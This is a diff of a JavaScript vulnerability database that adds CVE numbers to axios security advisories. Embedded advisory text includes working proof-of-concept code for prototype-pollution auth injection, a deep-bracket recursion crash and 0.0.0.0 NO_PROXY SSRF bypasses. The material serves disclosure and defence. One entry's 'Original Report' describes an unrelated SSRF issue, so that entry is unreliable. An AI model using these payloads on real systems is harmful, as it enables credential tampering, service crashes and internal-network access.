Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -8484,7 +8490,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -8506,7 +8515,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -8528,7 +8540,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -8549,7 +8564,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -8570,7 +8588,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9214,7 +9235,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -9235,7 +9259,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -9256,7 +9283,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9278,7 +9308,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -9299,7 +9332,10 @@ ], "identifiers": { "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9", @@ -9317,7 +9353,10 @@ ], "identifiers": { "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698", @@ -9336,7 +9375,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -9357,7 +9399,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -9379,7 +9424,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -9400,7 +9448,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g", diff --git a/repository/jsrepository-v6-combined.json b/repository/jsrepository-v6-combined.json index 2fd9e3e5..51784af5 100644 --- a/repository/jsrepository-v6-combined.json +++ b/repository/jsrepository-v6-combined.json @@ -8539,7 +8539,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "details": "## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options && options.encode) || encode;\nconst serializeFn = _options && _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n value: user,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n value: pass,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true\n});\n\nconst server = http.createServer((req, res) => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({\n authorization: req.headers.authorization || null,\n url: req.url\n }));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\ntry {\n const port = server.address().port;\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored' }\n });\n\n console.log(response.data);\n} finally {\n await new Promise((resolve) => server.close(resolve));\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n
\nOriginal Report\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({ caseless }, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n if (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n // HTTP basic authentication\n let auth = undefined;\n const configAuth = own('auth');\n if (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n if (!params) {\n return url;\n }\n const _encode = (options && options.encode) || encode;\n const _options = utils.isFunction(options)\n ? {\n serialize: options,\n }\n : options;\n const serializeFn = _options && _options.serialize;\n let serializedParams;\n if (serializeFn) {\n serializedParams = serializeFn(params, _options);\n } else {\n serializedParams = utils.isURLSearchParams(params)\n ? params.toString()\n : new AxiosURLSearchParams(params, _options).toString(_encode);\n }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n value: ATTACKER_USER,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n value: ATTACKER_PASS,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) => {\n const captured = {\n authorization: req.headers['authorization'] || null,\n url: req.url,\n };\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n // Application code: passes nested *placeholder* option objects that have\n // no own auth/serializer properties. Without prototype pollution this is\n // a no-op. With prototype pollution it becomes attacker-controlled state.\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored-by-polluted-serializer' },\n });\n\n console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n console.log('Server saw:', JSON.stringify(response.data));\n\n const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n const urlRewritten = response.data.url === '/demo?polluted=1';\n\n if (authLeaked && urlRewritten) {\n console.log(\n 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n 'Object.prototype values into the outbound request.'\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n console.log(' authLeaked =', authLeaked);\n console.log(' urlRewritten =', urlRewritten);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // Restore Object.prototype so a noisy exit/process state cannot affect\n // anything else accidentally sharing the runtime.\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n
", "info": [ @@ -8562,7 +8565,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "details": "## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios' FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n formToJSON(fd);\n console.log(\"not vulnerable\");\n} catch (err) {\n console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n .post(\"http://127.0.0.1:1/\", fd, {\n headers: { \"Content-Type\": \"application/json\" }\n })\n .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application's expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n
\nOriginal Report\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) — fails for 0.0.0.0\n → isLoopback (line 44) — wraps both checks, returns false\n → shouldBypassProxy (line 127) — PUBLIC API, exported default\n → lib/adapters/http.js (line 190) — Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) — attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';\n\n// Normal loopback — correctly returns true (bypasses proxy)\nshouldBypassProxy('http://127.0.0.1:9999/'); // → true\n\n// Vulnerable — returns false (goes through proxy!)\nshouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::]:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: 'proxy', port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited — depends on internal service behavior\n\n### Likelihood\n- **High** — proxy bypass is a common pattern in microservice architectures\n- **Medium** — requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n if (host === '0.0.0.0') return true; // ADD THIS LINE\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every(p => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n}\n\nfunction isIPv6Loopback(host) {\n if (host === '::1' || host === '::') return true; // ADD '::'\n // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios", "info": [ @@ -8585,7 +8591,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "details": "## Summary\n\nAxios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`.\n\nIf an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.\n\n## Impact\n\nApplications are affected only when untrusted users can control `FormData` key names that are converted through axios.\n\nAffected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\nThe observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.\n\n## Affected Functionality\n\nAffected functionality:\n- `axios.formToJSON(formData)`\n- Named ESM export `formToJSON`\n- Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json`\n\nUnaffected functionality:\n- Normal multipart `FormData` submission without JSON serialisation\n- `toFormData`, which already enforces a `maxDepth` guard\n- Axios versions `<=0.27.2`, where `formDataToJSON` was not present\n\n## Technical Details\n\nThe vulnerable code is in `lib/helpers/formDataToJSON.js`.\n\n`parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth:\n\n```js\nconst result = buildPath(path, value, target[name], index);\n```\n\nA key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.\n\nRelevant source locations:\n- `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`.\n- `lib/axios.js` exposes the helper as `axios.formToJSON`.\n- `index.js` exposes `formToJSON` as a named export.\n- `index.d.ts` and `index.d.cts` declare the public API.\n- `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`.\n\nThe inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from 'axios';\n\nconst fd = new FormData();\nfd.append('a' + '[x]'.repeat(15000), 'value');\n\ntry {\n axios.formToJSON(fd);\n console.log('not vulnerable');\n} catch (e) {\n console.log(`${e.constructor.name}: ${e.message}`);\n}\n```\n\nExpected result on affected versions:\n\nRangeError: Maximum call stack size exceeded\n\nThe same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\n## Workarounds\nApplications can reject or normalise untrusted form field names before calling `axios.formToJSON()`.\n\nApplications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required.\n\nApplications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`.\n\n
\nOriginal Source\n\n### Summary\nAn uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard.\n\n### Details\n**Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82.\n\n`buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check:\n\n```javascript\n// lib/helpers/formDataToJSON.js, lines 50–82\nfunction buildPath(path, value, target, index) {\n let name = path[index++]; // advance one level\n if (name === '__proto__') return true;\n // ...\n if (!isLast) {\n // ...\n const result = buildPath(path, value, target[name], index); // recurse — NO depth guard\n // ...\n }\n}\n```\n\nThe key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).\n\n**`formDataToJSON` is a public API** consumed two ways:\n\n1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).\n\n2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:\n ```javascript\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n ```\n\n**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.\n\n### PoC\nRequires only Node.js and an unmodified axios v1.x install:\n\n```javascript\nimport formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';\n\n// Build a FormData with a single key containing 15,000 nested bracket segments\nconst fd = new FormData();\nconst key = \"a\" + \"[x]\".repeat(15000);\nfd.append(key, \"value\");\n\ntry {\n formDataToJSON(fd);\n console.log(\"Not vulnerable\");\n} catch (e) {\n console.log(e.constructor.name + \": \" + e.message);\n // RangeError: Maximum call stack size exceeded\n}\n```\n\nVerified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):\n\n```\nRangeError: Maximum call stack size exceeded\n```\n\nThe process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.\n\n### Impact\n**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.\n
